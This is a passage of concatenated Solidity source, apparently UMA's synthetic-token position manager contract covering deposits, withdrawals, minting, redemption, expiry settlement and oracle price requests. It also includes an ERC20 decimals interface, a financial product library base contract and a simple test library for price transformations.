noPendingWithdrawal(msg.sender) nonReentrant() { require( _getFeeAdjustedCollateral(positions[newSponsorAddress].rawCollateral).isEqual( FixedPoint.fromUnscaledUint(0) ) ); PositionData storage positionData = _getPositionData(msg.sender); require( positionData.transferPositionRequestPassTimestamp != 0 && positionData.transferPositionRequestPassTimestamp <= getCurrentTime() ); // Reset transfer request. positionData.transferPositionRequestPassTimestamp = 0; positions[newSponsorAddress] = positionData; delete positions[msg.sender]; emit RequestTransferPositionExecuted(msg.sender, newSponsorAddress); emit NewSponsor(newSponsorAddress); emit EndedSponsorPosition(msg.sender); } /** * @notice Cancels a pending transfer position request. */ function cancelTransferPosition() external onlyPreExpiration() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.transferPositionRequestPassTimestamp != 0); emit RequestTransferPositionCanceled(msg.sender); // Reset withdrawal request. positionData.transferPositionRequestPassTimestamp = 0; } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param sponsor the sponsor to credit the deposit to. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function depositTo(address sponsor, FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(sponsor) fees() nonReentrant() { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(sponsor); // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); emit Deposit(sponsor, collateralAmount.rawValue); // Move collateral currency from sender to contract. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` into the caller's position. * @dev Increases the collateralization level of a position after creation. This contract must be approved to spend * at least `collateralAmount` of `collateralCurrency`. * @param collateralAmount total amount of collateral tokens to be sent to the sponsor's position. */ function deposit(FixedPoint.Unsigned memory collateralAmount) public { // This is just a thin wrapper over depositTo that specified the sender as the sponsor. depositTo(msg.sender, collateralAmount); } /** * @notice Transfers `collateralAmount` of `collateralCurrency` from the sponsor's position to the sponsor. * @dev Reverts if the withdrawal puts this position's collateralization ratio below the global collateralization * ratio. In that case, use `requestWithdrawal`. Might not withdraw the full requested amount to account for precision loss. * @param collateralAmount is the amount of collateral to withdraw. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdraw(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { require(collateralAmount.isGreaterThan(0)); PositionData storage positionData = _getPositionData(msg.sender); // Decrement the sponsor's collateral and global collateral amounts. Check the GCR between decrement to ensure // position remains above the GCR within the withdrawal. If this is not the case the caller must submit a request. amountWithdrawn = _decrementCollateralBalancesCheckGCR(positionData, collateralAmount); emit Withdrawal(msg.sender, amountWithdrawn.rawValue); // Move collateral currency from contract to sender. // Note: that we move the amount of collateral that is decreased from rawCollateral (inclusive of fees) // instead of the user requested amount. This eliminates precision loss that could occur // where the user withdraws more collateral than rawCollateral is decremented by. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); } /** * @notice Starts a withdrawal request that, if passed, allows the sponsor to withdraw` from their position. * @dev The request will be pending for `withdrawalLiveness`, during which the position can be liquidated. * @param collateralAmount the amount of collateral requested to withdraw */ function requestWithdrawal(FixedPoint.Unsigned memory collateralAmount) public onlyPreExpiration() noPendingWithdrawal(msg.sender) nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require( collateralAmount.isGreaterThan(0) && collateralAmount.isLessThanOrEqual(_getFeeAdjustedCollateral(positionData.rawCollateral)) ); // Make sure the proposed expiration of this request is not post-expiry. uint256 requestPassTime = getCurrentTime().add(withdrawalLiveness); require(requestPassTime < expirationTimestamp); // Update the position object for the user. positionData.withdrawalRequestPassTimestamp = requestPassTime; positionData.withdrawalRequestAmount = collateralAmount; emit RequestWithdrawal(msg.sender, collateralAmount.rawValue); } /** * @notice After a passed withdrawal request (i.e., by a call to `requestWithdrawal` and waiting * `withdrawalLiveness`), withdraws `positionData.withdrawalRequestAmount` of collateral currency. * @dev Might not withdraw the full requested amount in order to account for precision loss or if the full requested * amount exceeds the collateral in the position (due to paying fees). * @return amountWithdrawn The actual amount of collateral withdrawn. */ function withdrawPassedRequest() external onlyPreExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require( positionData.withdrawalRequestPassTimestamp != 0 && positionData.withdrawalRequestPassTimestamp <= getCurrentTime() ); // If withdrawal request amount is > position collateral, then withdraw the full collateral amount. // This situation is possible due to fees charged since the withdrawal was originally requested. FixedPoint.Unsigned memory amountToWithdraw = positionData.withdrawalRequestAmount; if (positionData.withdrawalRequestAmount.isGreaterThan(_getFeeAdjustedCollateral(positionData.rawCollateral))) { amountToWithdraw = _getFeeAdjustedCollateral(positionData.rawCollateral); } // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, amountToWithdraw); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); // Transfer approved withdrawal amount from the contract to the caller. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); emit RequestWithdrawalExecuted(msg.sender, amountWithdrawn.rawValue); } /** * @notice Cancels a pending withdrawal request. */ function cancelWithdrawal() external nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(positionData.withdrawalRequestPassTimestamp != 0); emit RequestWithdrawalCanceled(msg.sender, positionData.withdrawalRequestAmount.rawValue); // Reset withdrawal request by setting withdrawal amount and withdrawal timestamp to 0. _resetWithdrawalRequest(positionData); } /** * @notice Creates tokens by creating a new position or by augmenting an existing position. Pulls `collateralAmount` into the sponsor's position and mints `numTokens` of `tokenCurrency`. * @dev Reverts if minting these tokens would put the position's collateralization ratio below the * global collateralization ratio. This contract must be approved to spend at least `collateralAmount` of * `collateralCurrency`. * @dev This contract must have the Minter role for the `tokenCurrency`. * @param collateralAmount is the number of collateral tokens to collateralize the position with * @param numTokens is the number of tokens to mint from the position. */ function create(FixedPoint.Unsigned memory collateralAmount, FixedPoint.Unsigned memory numTokens) public onlyPreExpiration() fees() nonReentrant() { PositionData storage positionData = positions[msg.sender]; // Either the new create ratio or the resultant position CR must be above the current GCR. require( (_checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral).add(collateralAmount), positionData.tokensOutstanding.add(numTokens) ) || _checkCollateralization(collateralAmount, numTokens)), "Insufficient collateral" ); require(positionData.withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); if (positionData.tokensOutstanding.isEqual(0)) { require(numTokens.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); emit NewSponsor(msg.sender); } // Increase the position and global collateral balance by collateral amount. _incrementCollateralBalances(positionData, collateralAmount); // Add the number of tokens created to the position's outstanding tokens. positionData.tokensOutstanding = positionData.tokensOutstanding.add(numTokens); totalTokensOutstanding = totalTokensOutstanding.add(numTokens); emit PositionCreated(msg.sender, collateralAmount.rawValue, numTokens.rawValue); // Transfer tokens into the contract from caller and mint corresponding synthetic tokens to the caller's address. collateralCurrency.safeTransferFrom(msg.sender, address(this), collateralAmount.rawValue); require(tokenCurrency.mint(msg.sender, numTokens.rawValue)); } /** * @notice Burns `numTokens` of `tokenCurrency` to decrease sponsors position size, without sending back `collateralCurrency`. * This is done by a sponsor to increase position CR. Resulting size is bounded by minSponsorTokens. * @dev Can only be called by token sponsor. This contract must be approved to spend `numTokens` of `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt from the sponsor's debt position. */ function repay(FixedPoint.Unsigned memory numTokens) public onlyPreExpiration() noPendingWithdrawal(msg.sender) fees() nonReentrant() { PositionData storage positionData = _getPositionData(msg.sender); require(numTokens.isLessThanOrEqual(positionData.tokensOutstanding)); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens)); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); emit Repay(msg.sender, numTokens.rawValue, newTokenCount.rawValue); // Transfer the tokens back from the sponsor and burn them. tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice Burns `numTokens` of `tokenCurrency` and sends back the proportional amount of `collateralCurrency`. * @dev Can only be called by a token sponsor. Might not redeem the full proportional amount of collateral * in order to account for precision loss. This contract must be approved to spend at least `numTokens` of * `tokenCurrency`. * @dev This contract must have the Burner role for the `tokenCurrency`. * @param numTokens is the number of tokens to be burnt for a commensurate amount of collateral. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function redeem(FixedPoint.Unsigned memory numTokens) public noPendingWithdrawal(msg.sender) fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { PositionData storage positionData = _getPositionData(msg.sender); require(!numTokens.isGreaterThan(positionData.tokensOutstanding)); FixedPoint.Unsigned memory fractionRedeemed = numTokens.div(positionData.tokensOutstanding); FixedPoint.Unsigned memory collateralRedeemed = fractionRedeemed.mul(_getFeeAdjustedCollateral(positionData.rawCollateral)); // If redemption returns all tokens the sponsor has then we can delete their position. Else, downsize. if (positionData.tokensOutstanding.isEqual(numTokens)) { amountWithdrawn = _deleteSponsorPosition(msg.sender); } else { // Decrement the sponsor's collateral and global collateral amounts. amountWithdrawn = _decrementCollateralBalances(positionData, collateralRedeemed); // Decrease the sponsors position tokens size. Ensure it is above the min sponsor size. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(numTokens); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Update the totalTokensOutstanding after redemption. totalTokensOutstanding = totalTokensOutstanding.sub(numTokens); } emit Redeem(msg.sender, amountWithdrawn.rawValue, numTokens.rawValue); // Transfer collateral from contract to caller and burn callers synthetic tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), numTokens.rawValue); tokenCurrency.burn(numTokens.rawValue); } /** * @notice After a contract has passed expiry all token holders can redeem their tokens for underlying at the * prevailing price defined by the DVM from the `expire` function. * @dev This burns all tokens from the caller of `tokenCurrency` and sends back the proportional amount of * `collateralCurrency`. Might not redeem the full proportional amount of collateral in order to account for * precision loss. This contract must be approved to spend `tokenCurrency` at least up to the caller's full balance. * @dev This contract must have the Burner role for the `tokenCurrency`. * @return amountWithdrawn The actual amount of collateral withdrawn. */ function settleExpired() external onlyPostExpiration() fees() nonReentrant() returns (FixedPoint.Unsigned memory amountWithdrawn) { // If the contract state is open and onlyPostExpiration passed then `expire()` has not yet been called. require(contractState != ContractState.Open, "Unexpired position"); // Get the current settlement price and store it. If it is not resolved will revert. if (contractState != ContractState.ExpiredPriceReceived) { expiryPrice = _getOraclePriceExpiration(expirationTimestamp); contractState = ContractState.ExpiredPriceReceived; } // Get caller's tokens balance and calculate amount of underlying entitled to them. FixedPoint.Unsigned memory tokensToRedeem = FixedPoint.Unsigned(tokenCurrency.balanceOf(msg.sender)); FixedPoint.Unsigned memory totalRedeemableCollateral = tokensToRedeem.mul(expiryPrice); // If the caller is a sponsor with outstanding collateral they are also entitled to their excess collateral after their debt. PositionData storage positionData = positions[msg.sender]; if (_getFeeAdjustedCollateral(positionData.rawCollateral).isGreaterThan(0)) { // Calculate the underlying entitled to a token sponsor. This is collateral - debt in underlying. FixedPoint.Unsigned memory tokenDebtValueInCollateral = positionData.tokensOutstanding.mul(expiryPrice); FixedPoint.Unsigned memory positionCollateral = _getFeeAdjustedCollateral(positionData.rawCollateral); // If the debt is greater than the remaining collateral, they cannot redeem anything. FixedPoint.Unsigned memory positionRedeemableCollateral = tokenDebtValueInCollateral.isLessThan(positionCollateral) ? positionCollateral.sub(tokenDebtValueInCollateral) : FixedPoint.Unsigned(0); // Add the number of redeemable tokens for the sponsor to their total redeemable collateral. totalRedeemableCollateral = totalRedeemableCollateral.add(positionRedeemableCollateral); // Reset the position state as all the value has been removed after settlement. delete positions[msg.sender]; emit EndedSponsorPosition(msg.sender); } // Take the min of the remaining collateral and the collateral "owed". If the contract is undercapitalized, // the caller will get as much collateral as the contract can pay out. FixedPoint.Unsigned memory payout = FixedPoint.min(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalRedeemableCollateral); // Decrement total contract collateral and outstanding debt. amountWithdrawn = _removeCollateral(rawTotalPositionCollateral, payout); totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRedeem); emit SettleExpiredPosition(msg.sender, amountWithdrawn.rawValue, tokensToRedeem.rawValue); // Transfer tokens & collateral and burn the redeemed tokens. collateralCurrency.safeTransfer(msg.sender, amountWithdrawn.rawValue); tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensToRedeem.rawValue); tokenCurrency.burn(tokensToRedeem.rawValue); } /**************************************** * GLOBAL STATE FUNCTIONS * ****************************************/ /** * @notice Locks contract state in expired and requests oracle price. * @dev this function can only be called once the contract is expired and can't be re-called. */ function expire() external onlyPostExpiration() onlyOpenState() fees() nonReentrant() { contractState = ContractState.ExpiredPriceRequested; // Final fees do not need to be paid when sending a request to the optimistic oracle. _requestOraclePriceExpiration(expirationTimestamp); emit ContractExpired(msg.sender); } /** * @notice Premature contract settlement under emergency circumstances. * @dev Only the governor can call this function as they are permissioned within the `FinancialContractAdmin`. * Upon emergency shutdown, the contract settlement time is set to the shutdown time. This enables withdrawal * to occur via the standard `settleExpired` function. Contract state is set to `ExpiredPriceRequested` * which prevents re-entry into this function or the `expire` function. No fees are paid when calling * `emergencyShutdown` as the governor who would call the function would also receive the fees. */ function emergencyShutdown() external override onlyPreExpiration() onlyOpenState() nonReentrant() { require(msg.sender == _getFinancialContractsAdminAddress()); contractState = ContractState.ExpiredPriceRequested; // Expiratory time now becomes the current time (emergency shutdown time). // Price requested at this time stamp. `settleExpired` can now withdraw at this timestamp. uint256 oldExpirationTimestamp = expirationTimestamp; expirationTimestamp = getCurrentTime(); _requestOraclePriceExpiration(expirationTimestamp); emit EmergencyShutdown(msg.sender, oldExpirationTimestamp, expirationTimestamp); } /** * @notice Theoretically supposed to pay fees and move money between margin accounts to make sure they * reflect the NAV of the contract. However, this functionality doesn't apply to this contract. * @dev This is supposed to be implemented by any contract that inherits `AdministrateeInterface` and callable * only by the Governor contract. This method is therefore minimally implemented in this contract and does nothing. */ function remargin() external override onlyPreExpiration() nonReentrant() { return; } /** * @notice Accessor method for a sponsor's collateral. * @dev This is necessary because the struct returned by the positions() method shows * rawCollateral, which isn't a user-readable value. * @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for * example if the `lastPaymentTime != currentTime`. * @param sponsor address whose collateral amount is retrieved. * @return collateralAmount amount of collateral within a sponsors position. */ function getCollateral(address sponsor) external view nonReentrantView() returns (FixedPoint.Unsigned memory) { // Note: do a direct access to avoid the validity check. return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(positions[sponsor].rawCollateral)); } /** * @notice Accessor method for the total collateral stored within the PricelessPositionManager. * @return totalCollateral amount of all collateral within the Expiring Multi Party Contract. * @dev This method accounts for pending regular fees that have not yet been withdrawn from this contract, for * example if the `lastPaymentTime != currentTime`. */ function totalPositionCollateral() external view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _getPendingRegularFeeAdjustedCollateral(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } /** * @notice Accessor method to compute a transformed price using the finanicalProductLibrary specified at contract * deployment. If no library was provided then no modification to the price is done. * @param price input price to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedPrice price with the transformation function applied to it. * @dev This method should never revert. */ function transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime) public view nonReentrantView() returns (FixedPoint.Unsigned memory) { return _transformPrice(price, requestTime); } /** * @notice Accessor method to compute a transformed price identifier using the finanicalProductLibrary specified * at contract deployment. If no library was provided then no modification to the identifier is done. * @param requestTime timestamp the identifier is to be used at. * @return transformedPrice price with the transformation function applied to it. * @dev This method should never revert. */ function transformPriceIdentifier(uint256 requestTime) public view nonReentrantView() returns (bytes32) { return _transformPriceIdentifier(requestTime); } /**************************************** * INTERNAL FUNCTIONS * ****************************************/ // Reduces a sponsor's position and global counters by the specified parameters. Handles deleting the entire // position if the entire position is being removed. Does not make any external transfers. function _reduceSponsorPosition( address sponsor, FixedPoint.Unsigned memory tokensToRemove, FixedPoint.Unsigned memory collateralToRemove, FixedPoint.Unsigned memory withdrawalAmountToRemove ) internal { PositionData storage positionData = _getPositionData(sponsor); // If the entire position is being removed, delete it instead. if ( tokensToRemove.isEqual(positionData.tokensOutstanding) && _getFeeAdjustedCollateral(positionData.rawCollateral).isEqual(collateralToRemove) ) { _deleteSponsorPosition(sponsor); return; } // Decrement the sponsor's collateral and global collateral amounts. _decrementCollateralBalances(positionData, collateralToRemove); // Ensure that the sponsor will meet the min position size after the reduction. FixedPoint.Unsigned memory newTokenCount = positionData.tokensOutstanding.sub(tokensToRemove); require(newTokenCount.isGreaterThanOrEqual(minSponsorTokens), "Below minimum sponsor position"); positionData.tokensOutstanding = newTokenCount; // Decrement the position's withdrawal amount. positionData.withdrawalRequestAmount = positionData.withdrawalRequestAmount.sub(withdrawalAmountToRemove); // Decrement the total outstanding tokens in the overall contract. totalTokensOutstanding = totalTokensOutstanding.sub(tokensToRemove); } // Deletes a sponsor's position and updates global counters. Does not make any external transfers. function _deleteSponsorPosition(address sponsor) internal returns (FixedPoint.Unsigned memory) { PositionData storage positionToLiquidate = _getPositionData(sponsor); FixedPoint.Unsigned memory startingGlobalCollateral = _getFeeAdjustedCollateral(rawTotalPositionCollateral); // Remove the collateral and outstanding from the overall total position. FixedPoint.Unsigned memory remainingRawCollateral = positionToLiquidate.rawCollateral; rawTotalPositionCollateral = rawTotalPositionCollateral.sub(remainingRawCollateral); totalTokensOutstanding = totalTokensOutstanding.sub(positionToLiquidate.tokensOutstanding); // Reset the sponsors position to have zero outstanding and collateral. delete positions[sponsor]; emit EndedSponsorPosition(sponsor); // Return fee-adjusted amount of collateral deleted from position. return startingGlobalCollateral.sub(_getFeeAdjustedCollateral(rawTotalPositionCollateral)); } function _pfc() internal view virtual override returns (FixedPoint.Unsigned memory) { return _getFeeAdjustedCollateral(rawTotalPositionCollateral); } function _getPositionData(address sponsor) internal view onlyCollateralizedPosition(sponsor) returns (PositionData storage) { return positions[sponsor]; } function _getIdentifierWhitelist() internal view returns (IdentifierWhitelistInterface) { return IdentifierWhitelistInterface(finder.getImplementationAddress(OracleInterfaces.IdentifierWhitelist)); } function _getOracle() internal view returns (OracleInterface) { return OracleInterface(finder.getImplementationAddress(OracleInterfaces.Oracle)); } function _getOptimisticOracle() internal view returns (OptimisticOracleInterface) { return OptimisticOracleInterface(finder.getImplementationAddress(OracleInterfaces.OptimisticOracle)); } function _getFinancialContractsAdminAddress() internal view returns (address) { return finder.getImplementationAddress(OracleInterfaces.FinancialContractsAdmin); } // Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePriceExpiration(uint256 requestedTime) internal { OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); // Increase token allowance to enable the optimistic oracle reward transfer. FixedPoint.Unsigned memory reward = _computeFinalFees(); collateralCurrency.safeIncreaseAllowance(address(optimisticOracle), reward.rawValue); optimisticOracle.requestPrice( _transformPriceIdentifier(requestedTime), requestedTime, _getAncillaryData(), collateralCurrency, reward.rawValue // Reward is equal to the final fee ); // Apply haircut to all sponsors by decrementing the cumlativeFeeMultiplier by the amount lost from the final fee. _adjustCumulativeFeeMultiplier(reward, _pfc()); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePriceExpiration(uint256 requestedTime) internal returns (FixedPoint.Unsigned memory) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OptimisticOracleInterface optimisticOracle = _getOptimisticOracle(); require( optimisticOracle.hasPrice( address(this), _transformPriceIdentifier(requestedTime), requestedTime, _getAncillaryData() ) ); int256 optimisticOraclePrice = optimisticOracle.settleAndGetPrice( _transformPriceIdentifier(requestedTime), requestedTime, _getAncillaryData() ); // For now we don't want to deal with negative prices in positions. if (optimisticOraclePrice < 0) { optimisticOraclePrice = 0; } return _transformPrice(FixedPoint.Unsigned(uint256(optimisticOraclePrice)), requestedTime); } // Requests a price for transformed `priceIdentifier` at `requestedTime` from the Oracle. function _requestOraclePriceLiquidation(uint256 requestedTime) internal { OracleInterface oracle = _getOracle(); oracle.requestPrice(_transformPriceIdentifier(requestedTime), requestedTime); } // Fetches a resolved Oracle price from the Oracle. Reverts if the Oracle hasn't resolved for this request. function _getOraclePriceLiquidation(uint256 requestedTime) internal view returns (FixedPoint.Unsigned memory) { // Create an instance of the oracle and get the price. If the price is not resolved revert. OracleInterface oracle = _getOracle(); require(oracle.hasPrice(_transformPriceIdentifier(requestedTime), requestedTime), "Unresolved oracle price"); int256 oraclePrice = oracle.getPrice(_transformPriceIdentifier(requestedTime), requestedTime); // For now we don't want to deal with negative prices in positions. if (oraclePrice < 0) { oraclePrice = 0; } return _transformPrice(FixedPoint.Unsigned(uint256(oraclePrice)), requestedTime); } // Reset withdrawal request by setting the withdrawal request and withdrawal timestamp to 0. function _resetWithdrawalRequest(PositionData storage positionData) internal { positionData.withdrawalRequestAmount = FixedPoint.fromUnscaledUint(0); positionData.withdrawalRequestPassTimestamp = 0; } // Ensure individual and global consistency when increasing collateral balances. Returns the change to the position. function _incrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _addCollateral(positionData.rawCollateral, collateralAmount); return _addCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the // position. We elect to return the amount that the global collateral is decreased by, rather than the individual // position's collateral, because we need to maintain the invariant that the global collateral is always // <= the collateral owned by the contract to avoid reverts on withdrawals. The amount returned = amount withdrawn. function _decrementCollateralBalances( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // Ensure individual and global consistency when decrementing collateral balances. Returns the change to the position. // This function is similar to the _decrementCollateralBalances function except this function checks position GCR // between the decrements. This ensures that collateral removal will not leave the position undercollateralized. function _decrementCollateralBalancesCheckGCR( PositionData storage positionData, FixedPoint.Unsigned memory collateralAmount ) internal returns (FixedPoint.Unsigned memory) { _removeCollateral(positionData.rawCollateral, collateralAmount); require(_checkPositionCollateralization(positionData), "CR below GCR"); return _removeCollateral(rawTotalPositionCollateral, collateralAmount); } // These internal functions are supposed to act identically to modifiers, but re-used modifiers // unnecessarily increase contract bytecode size. // source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6 function _onlyOpenState() internal view { require(contractState == ContractState.Open, "Contract state is not OPEN"); } function _onlyPreExpiration() internal view { require(getCurrentTime() < expirationTimestamp, "Only callable pre-expiry"); } function _onlyPostExpiration() internal view { require(getCurrentTime() >= expirationTimestamp, "Only callable post-expiry"); } function _onlyCollateralizedPosition(address sponsor) internal view { require( _getFeeAdjustedCollateral(positions[sponsor].rawCollateral).isGreaterThan(0), "Position has no collateral" ); } // Note: This checks whether an already existing position has a pending withdrawal. This cannot be used on the // `create` method because it is possible that `create` is called on a new position (i.e. one without any collateral // or tokens outstanding) which would fail the `onlyCollateralizedPosition` modifier on `_getPositionData`. function _positionHasNoPendingWithdrawal(address sponsor) internal view { require(_getPositionData(sponsor).withdrawalRequestPassTimestamp == 0, "Pending withdrawal"); } /**************************************** * PRIVATE FUNCTIONS * ****************************************/ function _checkPositionCollateralization(PositionData storage positionData) private view returns (bool) { return _checkCollateralization( _getFeeAdjustedCollateral(positionData.rawCollateral), positionData.tokensOutstanding ); } // Checks whether the provided `collateral` and `numTokens` have a collateralization ratio above the global // collateralization ratio. function _checkCollateralization(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private view returns (bool) { FixedPoint.Unsigned memory global = _getCollateralizationRatio(_getFeeAdjustedCollateral(rawTotalPositionCollateral), totalTokensOutstanding); FixedPoint.Unsigned memory thisChange = _getCollateralizationRatio(collateral, numTokens); return !global.isGreaterThan(thisChange); } function _getCollateralizationRatio(FixedPoint.Unsigned memory collateral, FixedPoint.Unsigned memory numTokens) private pure returns (FixedPoint.Unsigned memory ratio) { if (!numTokens.isGreaterThan(0)) { return FixedPoint.fromUnscaledUint(0); } else { return collateral.div(numTokens); } } // IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method, // which is possible since the method is only an OPTIONAL method in the ERC20 standard: // https://eips.ethereum.org/EIPS/eip-20#methods. function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) { try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) { return _decimals; } catch { return 18; } } function _transformPrice(FixedPoint.Unsigned memory price, uint256 requestTime) internal view returns (FixedPoint.Unsigned memory) { if (!address(financialProductLibrary).isContract()) return price; try financialProductLibrary.transformPrice(price, requestTime) returns ( FixedPoint.Unsigned memory transformedPrice ) { return transformedPrice; } catch { return price; } } function _transformPriceIdentifier(uint256 requestTime) internal view returns (bytes32) { if (!address(financialProductLibrary).isContract()) return priceIdentifier; try financialProductLibrary.transformPriceIdentifier(priceIdentifier, requestTime) returns ( bytes32 transformedIdentifier ) { return transformedIdentifier; } catch { return priceIdentifier; } } function _getAncillaryData() internal view returns (bytes memory) { // Note: when ancillary data is passed to the optimistic oracle, it should be tagged with the token address // whose funding rate it's trying to get. return abi.encodePacked(address(tokenCurrency)); } } // SPDX-License-Identifier: AGPL-3.0-only pragma solidity ^0.6.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ERC20 interface that includes the decimals read only method. */ interface IERC20Standard is IERC20 { /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` * (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value * {ERC20} uses, unless {_setupDecimals} is called. * * NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic * of the contract, including {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() external view returns (uint8); } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../../common/implementation/FixedPoint.sol"; interface ExpiringContractInterface { function expirationTimestamp() external view returns (uint256); } /** * @title Financial product library contract * @notice Provides price and collateral requirement transformation interfaces that can be overridden by custom * Financial product library implementations. */ abstract contract FinancialProductLibrary { using FixedPoint for FixedPoint.Unsigned; /** * @notice Transforms a given oracle price using the financial product libraries transformation logic. * @param oraclePrice input price returned by the DVM to be transformed. * @param requestTime timestamp the oraclePrice was requested at. * @return transformedOraclePrice input oraclePrice with the transformation function applied. */ function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view virtual returns (FixedPoint.Unsigned memory) { return oraclePrice; } /** * @notice Transforms a given collateral requirement using the financial product libraries transformation logic. * @param oraclePrice input price returned by DVM used to transform the collateral requirement. * @param collateralRequirement input collateral requirement to be transformed. * @return transformedCollateralRequirement input collateral requirement with the transformation function applied. */ function transformCollateralRequirement( FixedPoint.Unsigned memory oraclePrice, FixedPoint.Unsigned memory collateralRequirement ) public view virtual returns (FixedPoint.Unsigned memory) { return collateralRequirement; } /** * @notice Transforms a given price identifier using the financial product libraries transformation logic. * @param priceIdentifier input price identifier defined for the financial contract. * @param requestTime timestamp the identifier is to be used at. EG the time that a price request would be sent using this identifier. * @return transformedPriceIdentifier input price identifier with the transformation function applied. */ function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime) public view virtual returns (bytes32) { return priceIdentifier; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../common/financial-product-libraries/FinancialProductLibrary.sol"; // Implements a simple FinancialProductLibrary to test price and collateral requirement transoformations. contract FinancialProductLibraryTest is FinancialProductLibrary { FixedPoint.Unsigned public priceTransformationScalar; FixedPoint.Unsigned public collateralRequirementTransformationScalar; bytes32 public transformedPriceIdentifier; bool public shouldRevert; constructor( FixedPoint.Unsigned memory _priceTransformationScalar, FixedPoint.Unsigned memory _collateralRequirementTransformationScalar, bytes32 _transformedPriceIdentifier ) public { priceTransformationScalar = _priceTransformationScalar; collateralRequirementTransformationScalar = _collateralRequirementTransformationScalar; transformedPriceIdentifier = _transformedPriceIdentifier; } // Set the mocked methods to revert to test failed library computation. function setShouldRevert(bool _shouldRevert) public { shouldRevert = _shouldRevert; } // Create a simple price transformation function that scales the input price by the scalar for testing. function transformPrice(FixedPoint.Unsigned memory oraclePrice, uint256 requestTime) public view override returns (FixedPoint.Unsigned memory) { require(!shouldRevert, "set to always reverts"); return oraclePrice.mul(priceTransformationScalar); } // Create a simple collateral requirement transformation that doubles the input collateralRequirement. function transformCollateralRequirement( FixedPoint.Unsigned memory price, FixedPoint.Unsigned memory collateralRequirement ) public view override returns (FixedPoint.Unsigned memory) { require(!shouldRevert, "set to always reverts"); return collateralRequirement.mul(collateralRequirementTransformationScalar); } // Create a simple transformPriceIdentifier function that returns the transformed price identifier. function transformPriceIdentifier(bytes32 priceIdentifier, uint256 requestTime) public view override returns (bytes32) { require(!shouldRevert, "set to always reverts"); return 